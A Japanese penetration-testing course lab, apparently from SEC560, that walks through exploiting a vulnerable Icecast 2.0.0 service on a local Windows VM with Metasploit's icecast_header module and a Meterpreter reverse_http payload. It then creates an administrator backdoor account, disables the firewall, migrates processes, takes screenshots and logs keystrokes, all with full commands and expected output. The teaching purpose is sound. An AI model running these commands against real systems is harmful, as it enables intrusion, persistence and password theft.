Lab 2.2: Metasploit と Meterpreter
オフライン演習
接続性: これはオフライン演習です。この演習では対象ネットワークに接続する必要はありません。
目的
このラボでは、Metasploit を使用して、Windows マシンに一時的に配置した脆弱なサービスにこの柔軟なペイロードを配信し、Meterpreter を分析します。具体的には、バッファオーバーフロー脆弱性を持つインターネットマルチメディアストリーミングサーバーである Icecast サービス(バージョン 2.0.0)を悪用します。Metasploit ペイロードは、reverse_tcp ステージャを介してロードされる Meterpreter ステージで構成され、侵害されたマシンから攻撃者への接続を確立します。
ラボの手順
このラボは完全に自分のシステム上で実行します。Windows マシン上の脆弱な Icecast サービスが Linux 仮想マシンによって悪用されます。スライドでは、このラボのステップ 1 から 4 を示しています。ラボ全体を通して、これらのステップ番号が適用されることに注意してください。
ステップ 1: Icecast を悪用するように Metasploit を設定します。
ステップ 2: 対象サービスを悪用し、Meterpreter ステージとともに reverse_tcp ステージャをペイロードとして送信します。
ステップ 3: Icecast のメモリ空間内で実行されている Meterpreter を使用し、攻撃者への逆方向 TCP 接続を確立します。
ステップ 4: 侵害されたマシンの Icecast プロセス内で実行されている Meterpreter と対話します。
ウォークスルービデオ
ラボのセットアップ
使用する仮想マシン:
- Linux
- Windows
このラボでは、Windows マシンを攻撃し、Meterpreter を実行させます。脆弱なサーバーを実行します。このラボでは、VPN から切断することをお勧めします。
次に、Linux で以下を実行します:
コマンド
ping -c 4 WINDOWS_ETHERNET0_ADDRESS
WINDOWS_ETHERNET0_ADDRESS を置き換えてください!
WINDOWS_ETHERNET0_ADDRESS
を Windows VM のローカルアドレス(10.254.25X.X
のようなアドレスではなく)に置き換えてください。
Linux から Windows ホストに正常に ping できれば、開始する準備が整いました。
ラボ – ステップバイステップの手順
1: Linux 上の Metasploit
Linux 仮想マシンに移動します。ステップ 1 では、Metasploit を実行し、Icecast サービスを悪用するように設定します。以下のコマンドを使用して Metasploit を起動します:
コマンド
msfconsole
msfconsole
を起動すると、いくつかの質問に答えるよう求められる場合があります。
- 最初のプロンプトで Enter キーを押してデフォルトを受け入れます
- 2 番目のプロンプトで
yes
と入力します
想定される結果
sec560@slingshot:~$ msfconsole
[?] Would you like to init the webservice? (Not Required) [no]: <press enter>
[?] Would you like to delete your existing data and configurations? []: yes
Clearing http web data service credentials in msfconsole
Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at /home/sec560/.msf4/db...success
... trimmed for brevity ...
msf6 >
コマンドプロンプトが Metasploit Framework コンソールプロンプト(msf6 >
)になったことに注意してください。msf プロンプトで、Metasploit に対話的にコマンドを発行します。利用可能なすべてのエクスプロイトモジュールを表示するように指示します。
コマンド
show exploits
想定される結果
msf6 > show exploits
Exploits
========
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/aix/local/ibstat_path 2013-09-24 excellent Yes ibstat $PATH Privilege Escalation
1 exploit/aix/local/xorg_x11_server 2018-10-25 great Yes Xorg X11 Server Local Privilege Escalation
2 exploit/aix/rpc_cmsd_opcode21 2009-10-07 great No AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
... trimmed for brevity ...
2271 exploit/windows/wins/ms04_045_wins 2004-12-14 great Yes MS04-045 Microsoft WINS Service Memory Overwrite
Metasploit には 2,400 以上のエクスプロイトがあることがわかります!
Windows 上の Icecast を悪用します。そのエクスプロイトを検索しましょう。
コマンド
search icecast
想定される結果
msf6 > search icecast
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header
「great」というランクの icecast_header
という Windows 用のエクスプロイトが表示されるはずです。
次にエクスプロイトを選択します。インストールした Icecast のバージョンに適用される Icecast Header バッファオーバーフローエクスプロイトを使用します:
コマンド
use exploit/windows/http/icecast_header
想定される結果
msf6 > use exploit/windows/http/icecast_header
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) >
プロンプトが変更され、選択したエクスプロイトの名前が含まれるようになったことに注意してください。また、ペイロードがすでに選択されていることがわかります。脆弱なプロセス内で実行された後、攻撃者への逆方向 HTTP 接続(直接 TCP ではなく)を確立する別の Meterpreter ペイロードを使用しましょう。
ペイロードを windows/meterpreter/reverse_http
に設定します。
コマンド
set PAYLOAD windows/meterpreter/reverse_http
想定される結果
msf6 > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
次に、このエクスプロイトに関連するオプションを見てみましょう:
コマンド
show options
想定される結果
msf6 exploit(windows/http/icecast_header) > show options
Module options (exploit/windows/http/icecast_header):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki
/Using-Metasploit
RPORT 8000 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.2.80 yes The local listener hostname
LPORT 8080 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Automatic
最初に設定するオプションは RHOSTS です。これは、Metasploit に攻撃させたい IP アドレスです。脆弱な Icecast サービスを実行している Windows マシンの IP アドレスを入力する必要があります。tun0
アドレスではなく、Ethernet0
IP アドレスを使用してください。探しているアドレスは 10.254.25X.X
で始まりません。
RHOSTS
オプションを Windows Ethernet0 インターフェースの IP アドレスに設定します。
コマンド
set RHOSTS WINDOWS_ETHERNET0_ADDRESS
WINDOWS_ETHERNET0_ADDRESS を置き換えてください!
WINDOWS_ETHERNET0_ADDRESS
を Windows VM のローカルアドレス(10.254.25X.X
のようなアドレスではなく)に置き換えてください。
Meterpreter リバースシェルが接続する場所を Metasploit に指示する必要があります。Linux マシンに接続させたいと考えています(eth0
インターフェースのアドレスを使用します)。
LHOST
を Linux システムの eth0
インターフェースの IP アドレスに設定します。以下に示すように、LHOST をインターフェース名として設定することは、Metasploit がそのインターフェースに関連付けられた IP アドレスを使用するショートカットです。
コマンド
set LHOST eth0
Metasploit が設定されました。show options
で Metasploit の設定を確認しましょう。
コマンド
show options
想定される結果
msf6 exploit(windows/http/icecast_header) > show options
Module options (exploit/windows/http/icecast_header):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.2.211 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.2.80 yes The local listener hostname
LPORT 8080 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/http/icecast_header) >
攻撃の準備はほぼ整いましたが、まず少し準備が必要です。
次に、Windows マシン上で Icecast サーバーを起動する必要があります。
デスクトップ上の Icecast アイコンを 右クリック し、管理者として実行 を選択します。
ポップアップ表示されるユーザーアカウント制御(UAC)ウィンドウで OK をクリックします。
Icecast の GUI が表示されたら、Start Server ボタンをクリックします。Server Status 表示が緑色に変わり、Running と表示されるはずです。
Windows が逆方向 Meterpreter シェルで Linux マシンに確実に到達できるようにするために、Windows が Linux に ping できることを確認しましょう。Windows デスクトップの Terminal ショートカットを開き、次を実行します:
コマンド
ping LINUX_ETH0_ADDRESS
LINUX_ETH0_ADDRESS を置き換えてください!
LINUX_ETH0_ADDRESS
を Linux VM の eth0 インターフェースのアドレス(tun0 上の 10.254.25X.X
のようなアドレスではなく)に置き換えてください。
ping が正常に機能すれば、準備完了です。機能しない場合は、ネットワーク設定を再確認してください。
2: 攻撃を開始する
攻撃を開始しましょう!Linux マシンで、msf プロンプトで run
と入力し、Enter キーを押します:
エクスプロイトが成功すると、Linux に「Meterpreter session X opened」というメッセージが表示されます。
コマンド
run
想定される結果
msf6 exploit(windows/http/icecast_header) > run
[*] Started HTTP reverse handler on http://10.10.10.186:8080
[*] http://10.10.10.186:8080 handling request from 10.10.10.165; (UUID: ty4kaax1) Staging x86 payload (177244 bytes) ...
[*] Meterpreter session 1 opened (10.10.10.186:8080 -> 10.10.10.165:28796) at 2024-08-14 23:10:29 +0000
meterpreter >
セッションが開かれました
エクスプロイトが機能し、meterpreter >
プロンプトが表示された場合は、以下のステップ 3 に進んでください。
セッションが作成されない場合(クリックして展開)
成功しなかった場合、Metasploit が Icecast を悪用する際、Icecast がクラッシュする可能性があることに注意してください。ほとんどのエクスプロイトには一定の成功確率があり、100% には満たないことを覚えておいてください。Icecast エクスプロイトは成功確率が高いため使用していますが、時々プログラムがクラッシュします。
Windows マシンに Icecast がクラッシュしたというメッセージが表示された場合は、単純に再実行してください。これを行うには、Windows 上の Icecast GUI を閉じます。次に、Windows デスクトップで右クリックし、管理者として実行 をクリックして(プロンプトが表示されたらユーザーアカウント制御ウィンドウで はい をクリック)Icecast を再実行します。Start Server ボタンを再度クリックし、Server Status ボックスが緑色になり「Running」と表示されるのを確認してください。
Icecast がクラッシュしなかったがエクスプロイトが失敗した場合は、Linux システムの正しい LHOST
IP アドレスを持っていることを確認してください。
Metasploit が Icecast に到達できなかった場合(Exploit failed [unreachable]: Rex::ConnectionTimeout
のようなエラー)、Windows ファイアウォールが誤って再有効化された可能性があります。Windows マシンの管理者ターミナルで netsh advfirewall set allprofiles state off
を実行してから、再度試してください。
次に、Metasploit コンソールで run
コマンドを再度実行してみてください。
3: セッション
meterpreter >
プロンプトは、Meterpreter にいることを示しています。Metasploit で他のアクションを実行したい場合は、まず background
と入力するか、CTRL+z
を押してセッションをバックグラウンド化する必要があります。
background
と入力して Metasploit コンソールに戻ります。
コマンド
background
想定される結果
meterpreter > background
[*] Backgrounding session 1..
msf6 exploit(windows/http/icecast_header) >
セッション番号は異なる場合があります
msf6
プロンプトでは、侵害されたホスト上の Meterpreter ではなく、Metasploit と対話しています。sessions
を見てみましょう。
コマンド
sessions
想定される結果
msf6 exploit(windows/http/icecast_header) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows SEC560-WINDOWS\sec560 @ SEC560-WINDOWS 10.10.10.186:8080 -> 10.10.10.165:28796 (10.10.10.1)
この場合、セッションが 1
であることがわかります。あなたのものは異なる可能性があります。
番号付きセッションは便利ですが、複数のシェルを持つことになり、番号を覚えるのが難しくなる可能性があります。セッションをより覚えやすい名前に変更できます。セッションの名前を変更するには、-n newname
と -i ID
で現在のセッション番号を使用する必要があります。
コマンド
sessions -n icecast_win11 -i 1
sessions
想定される結果
msf6 exploit(windows/http/icecast_header) > sessions -n icecast_win11 -i 1
[*] Session 1 named to icecast_win11
msf6 exploit(windows/http/icecast_header) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 icecast_win11 meterpreter x86/windows SEC560-WINDOWS\sec560 @ SEC560-WINDOWS 10.10.10.186:8080 -> 10.10.10.165:28796 (10.10.10.165)
セッション ID
セッション ID は異なる番号になる可能性があります
では、セッションと対話しましょう。
コマンド
sessions -i 1
想定される結果
msf6 exploit(windows/http/icecast_header) > sessions -i 1
[*] Starting interaction with icecast_win11...
meterpreter >
4: Meterpreter
Meterpreter セッションと対話するためにステップ 4 に移る際、見ているアーキテクチャを確認しましょう。Metasploit を実行している Linux マシン上で Meterpreter セッションを表示しています。そのセッションは実際には Windows マシンを制御しており、Meterpreter は Icecast プロセス内で実行されています。
Meterpreter が実行されている状態で、システムを少し探索しましょう。次のコマンドを実行します:
コマンド
sysinfo
想定される結果
meterpreter > sysinfo
Computer : SEC560-WINDOWS
OS : Windows 11 (10.0 Build 26100).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
これは侵害されたマシンのオペレーティングシステムを示しています。
次に、被害者マシン上のユーザー名を確認しましょう:
コマンド
getuid
想定される結果
meterpreter > getuid
Server username: SEC560-WINDOWS\sec560
Icecast サーバーを起動するために使用したものと同じユーザー名になっているはずです。なぜなら、そのメモリ空間内から実行しているためです。
次に、画面上で実行されているプロセスを見てみましょう:
コマンド
ps
想定される結果
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
124 4 Registry x64 0
396 4 smss.exe x64 0
580 568 csrss.exe x64 0
584 828 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
680 568 wininit.exe x64 0
688 672 csrss.exe x64 1
776 672 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
828 680 services.exe x64 0
836 680 lsass.exe x64 0
860 828 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
888 972 RuntimeBroker.exe x64 1 SEC560-WINDOWS\sec560 C:\Windows\System32\RuntimeBroker.exe
... truncated for brevity ...
プロセス ID は異なります
プロセス ID は上記に示されたものとは異なります。
ヘルプを見て、ps
コマンドで利用できるオプションを見てみましょう。
コマンド
ps -h
想定される結果
meterpreter > ps -h
Usage: ps [ options ] pattern
Use the command with no arguments to see all running processes.
The following options can be used to filter those results:
OPTIONS:
-A <opt> Filter on architecture
-c Filter only child processes of the current shell
-h Help menu.
-S <opt> Filter on process name
-s Filter only SYSTEM processes
-U <opt> Filter on user name
-x Filter for exact matches rather than regex
-S
を使用して Icecast2 プロセスを見つけましょう。
コマンド
ps -S Icecast2.exe
想定される結果
meterpreter > ps -S Icecast2.exe
Filtering on 'Icecast2.exe'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
9732 2484 Icecast2.exe x86 1 SEC560-WINDOWS\sec560 C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
最後に、利用可能な Meterpreter コマンドを見てみましょう:
コマンド
help
では、ファイルシステムと対話するためのいくつかのコマンドを探索しましょう。まず、c:\
ディレクトリに移動します。Meterpreter は Linux/Unix スタイルの表記を使用する傾向があるため、フォルダ間の区切り文字として使用されるバックスラッシュ文字(\
)が問題になります。この問題を回避するには、3 つのオプションがあります:
- ディレクトリパスを参照するためにフォワードスラッシュ(
/
)を使用する - バックスラッシュを示すためにバックスラッシュのエスケープシーケンス(
\\
)を使用する - パス全体を単一引用符で囲む(バックスラッシュをエスケープする必要はありません)
したがって、c:\
ディレクトリに変更するには、次を実行してください:
コマンド
cd 'c:\'
Meterpreter 内では、c:\
を /
として参照することもできることに注意してください。したがって、cd c:\\
と cd /
コマンドは同じことを行います。
次に、ディレクトリ構造内のどこにいるかを確認しましょう。特定のコマンドは、実行している Meterpreter のバージョンによって異なります。Linux と同様に、コマンドは pwd
です。
コマンド
pwd
想定される結果
meterpreter > pwd
c:\
次にディレクトリ一覧を取得しましょう:
コマンド
ls
想定される結果
meterpreter > ls
Listing: c:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2024-08-13 02:03:56 +0000 $Recycle.Bin
040777/rwxrwxrwx 0 dir 2024-08-13 18:58:04 +0000 Config.Msi
040777/rwxrwxrwx 4096 dir 2024-08-13 21:12:21 +0000 CourseFiles
... truncated for brevity ...
5: シェル
対象マシンで実行したいことは、Meterpreter 内からよりも、cmd.exe のようなシンプルな Windows シェルを使用する方が簡単な場合があります。そのようなアクセスをサポートするために、Meterpreter には cmd.exe を実行する shell
コマンドが含まれています。Meterpreter プロンプトから shell コマンドを実行することで、この便利な機能を確認できます:
コマンド
shell
想定される結果
meterpreter > shell
Process 7968 created.
Channel 1 created.
Microsoft Windows [Version 10.0.26100.1301]
(c) Microsoft Corporation. All rights reserved.
c:\>
エラーが発生した場合(クリックして展開)
shell
コマンドが機能しなかった場合は、代わりに execute コマンドを使用してプログラムを実行できます。cmd.exe コマンドシェルを実行しましょう。-c
オプションで「チャネル化」して起動します。これは、Meterpreter が実行されたプログラムとの通信セッションを開いたままにし、対話できるようにすることを意味します。
コマンド
execute -f cmd.exe -c -H
想定される結果
meterpreter > execute -f cmd.exe -c -H
Process 4292 created.
Channel 2 created.
meterpreter >
チャネル番号に注意してください
プログラムの実行が成功すると、Meterpreter はプロセス ID と、プロセスの標準入力および標準出力と対話するために使用できるチャネル番号を通知します。チャネル番号で interact
を使用するか、次のように channel -i N
とチャネル番号を使用して、そのような対話を実行できます。
コマンド
channel -i N
想定される結果
meterpreter > channel -i 2
Interacting with channel 2...
Microsoft Windows [Version 10.0.26100.1301]
(c) Microsoft Corporation. All rights reserved.
c:\>
N
は、execute コマンドの出力で確認したチャネル番号(プロセス ID ではない)に置き換える必要があります。
実行中に cmd.exe ウィンドウが Windows GUI に表示されたことに注意してください。プログラムを非表示モードで実行するには、execute コマンドを「hidden」の -H
オプションで実行できます。
これで、cmd.exe 内で任意のコマンドを入力できます。
これで、cmd.exe 内で任意のコマンドを入力できます。
hostname
を実行します。
コマンド
hostname
想定される結果
c:\> hostname
hostname
SEC560-Windows
ipconfig
を実行します。
コマンド
ipconfig
想定される結果
c:\> ipconfig
ipconfig
Windows IP Configuration
Unknown adapter OpenVPN Data Channel Offload:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::b88d:53d1:3cce:5ae4%6
IPv4 Address. . . . . . . . . . . : 10.254.252.2
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . :
Unknown adapter OpenVPN Wintun:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::dc2a:6612:843e:eac0%4
IPv4 Address. . . . . . . . . . . : 10.10.10.165
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2
Unknown adapter OpenVPN TAP-Windows6:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
dir
を実行します。
コマンド
dir
想定される結果
c:\> dir
dir
Volume in drive C is Windows
Volume Serial Number is BE08-62CA
Directory of c:\
08/13/2024 02:18 PM <DIR> bin
08/13/2024 02:12 PM <DIR> CourseFiles
08/12/2024 07:26 PM <DIR> inetpub
04/01/2024 12:26 AM <DIR> PerfLogs
08/13/2024 02:07 PM <DIR> Program Files
08/13/2024 02:07 PM <DIR> Program Files (x86)
08/12/2024 07:23 PM <DIR> Python311
08/12/2024 07:59 PM <DIR> tmp
08/13/2024 02:01 PM <DIR> Users
08/13/2024 02:07 PM <DIR> Windows
0 File(s) 0 bytes
10 Dir(s) 52,628,938,752 bytes free
次に、システム上のユーザーを確認しましょう。
コマンド
net user
想定される結果
c:\> net user
net user
User accounts for \\SEC560-WINDOWS
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
notadmin sec560 WDAGUtilityAccount
The command completed successfully.
BACKDOOR
という名前のバックドアアカウントを作成します。
コマンド
net user BACKDOOR Password1 /add
想定される結果
c:\> net user BACKDOOR Password1 /add
net user BACKDOOR Password1 /add
The command completed successfully.
上記のコマンドは、パスワード Password1
のユーザーを作成します。
次に、ユーザーが存在することを確認しましょう。
コマンド
net user BACKDOOR
想定される結果
c:\>net user BACKDOOR
net user BACKDOOR
User name BACKDOOR
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 8/14/2024 4:21:39 PM
Password expires Never
Password changeable 8/14/2024 4:21:39 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
新しい BACKDOOR アカウントは通常のアカウントです。管理者権限があればより便利です。このアカウントを管理者にしましょう。
コマンド
net localgroup administrators BACKDOOR /add
想定される結果
C:\> net localgroup administrators BACKDOOR /add
net localgroup administrators BACKDOOR /add
The command completed successfully.
次に、administrators グループのメンバーを確認して、バックドアアカウントが管理者であることを確認します。
コマンド
net localgroup administrators
想定される結果
c:\> net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
BACKDOOR
sec560
The command completed successfully.
ご覧のとおり、新しいアカウントは管理者です!
アカウントを削除しましょう。
コマンド
net user BACKDOOR /del
想定される結果
C:\> net user BACKDOOR /del
net user BACKDOOR /del
The command completed successfully.
net user
を再度実行することで削除を確認できます。スペースの都合上、出力はここには含まれていません。
シェルを終了するには、単に exit
と入力すると、meterpreter >
プロンプトに戻るはずです:
コマンド
exit
想定される結果
C:\> exit
meterpreter >
6: その他の Meterpreter 機能
次に、侵害されたシステムのスクリーンショットを取得し、/tmp/screen.jpg
として保存します:
コマンド
screenshot -p /home/sec560/screenshot.jpg
想定される結果
meterpreter > screenshot -p /home/sec560/screenshot.jpg
Screenshot saved to: /home/sec560/screenshot.jpg
Meterpreter がスクリーンショットを取得します。これには数秒かかる場合があります。
次に、Linux VM のデスクトップにある sec560's Home
ショートカットをクリックしてフォルダウィンドウを起動します。screenshot.jpg
ファイルをダブルクリックします。
Windows VM のコンソールを示すスクリーンショットが表示されるはずです。
次に、侵害されたマシン上の Meterpreter DLL をあるプロセスから別のプロセスに移行します。Icecast2.exe プロセスから Windows マシン上の explorer.exe プロセスにジャンプします。explorer.exe を使用するのは、ユーザーがログインしている限り通常実行され続けるためです。
次に、Meterpreter 内に戻り、現在のプロセス ID 番号を取得します。
コマンド
getpid
次に、Explorer のプロセス ID を見つけるためにプロセスリストを取得します。-S
(大文字の S)オプションを付けた ps
コマンドを使用して検索できます。
コマンド
ps -S explorer.exe
想定される結果
meterpreter > ps -S explorer.exe
Filtering on 'explorer.exe'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
2484 1468 explorer.exe x64 1 SEC560-WINDOWS\sec560 C:\Windows\explorer.exe
プロセス ID で explorer.exe プロセスにジャンプすることも、-N
オプションで名前を指定することもできます。
次に、そのプロセスにジャンプするために、migrate
コマンドを使用します。ここでは、より便利なプロセス名で移行するために -N
オプションを使用しています。
コマンド
migrate -N explorer.exe
想定される結果
meterpreter > migrate -N explorer.exe
[*] Migrating to XXXX...
[*] Migration completed successfully.
meterpreter >
移行には数秒かかる場合があります。成功すると、その旨のメッセージが表示されます。
移行が失敗した場合(クリックして展開)
移行が失敗した場合(失敗する可能性が高い)、Meterpreter セッションを再確立する必要があります。まず、exit
と入力して既存のセッションを終了します。次に、Icecast が実行されていることを確認し、再度 run
と入力します。
コマンド
getpid
想定される結果
meterpreter > getpid
Current pid: XXXX
explorer.exe に関連付けられた番号になっているはずです。そうであれば、プロセス間をジャンプしたことになります。移行はバグが発生する可能性があります。対象プロセスがクラッシュした場合、それは問題ありません。CTRL-C
または exit
コマンドで死んだ Meterpreter セッションを終了して、対象システムを再度悪用できます。次に Icecast を再起動します。msf >
プロンプトで、run
コマンドを再実行します。
7: キーストロークロギング
Windows VM で Notepad を起動します(Meterpreter 経由ではありません)。WIN+R を押し、実行メニューに「notepad」と入力します。GUI でスタートメニューをクリックし、「notepad」と入力して OK をクリックします。
Linux VM と meterpreter セッションに戻り、keyscan_start
コマンドを実行します。
コマンド
keyscan_start
想定される結果
meterpreter > keyscan_start
Starting the keystroke sniffer ...
次に、Windows で Notepad にテキストを入力します。パスワードに関するメモ(例: my password is Re@llyL0ngP@ssw0rd!
)を入力します。
次に Meterpreter に戻り、キャプチャされたキーストロークを画面にダンプします。
コマンド
keyscan_dump
想定される結果
meterpreter > keyscan_dump
Dumping captured keystrokes...
my password is <Right Shift>Re<Right Shift>@lly<Shift>L0ng<Right Shift>P@ssw0rd<Right Shift>!
次にキーストロークロガーを停止します:
コマンド
keyscan_stop
想定される結果
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter >
コマンド
exit
ラボを完了するには、Windows VM で Notepad と Icecast を閉じます。次に、Meterpreter セッションと Metasploit を完全に終了します。
結論
このラボでは、脆弱なリスニングサービスに対して使用されるサービス側エクスプロイトを確認しました。Metasploit を使用してその欠陥を悪用することで、reverse_http ステージャを持つ Meterpreter ペイロードを対象マシンのメモリにロードすることができました。次に、ファイルシステムの探索、プログラム(shell
など)の実行、プログラムの標準入力と標準出力間の通信チャネルの提供、スクリーンショットの取得、プロセスの移行、キーストロークのログなど、Meterpreter の多数の機能を探索しました。確かに、Meterpreter はペネトレーションテスターの武器庫における非常に強力なペイロードコンポーネントです。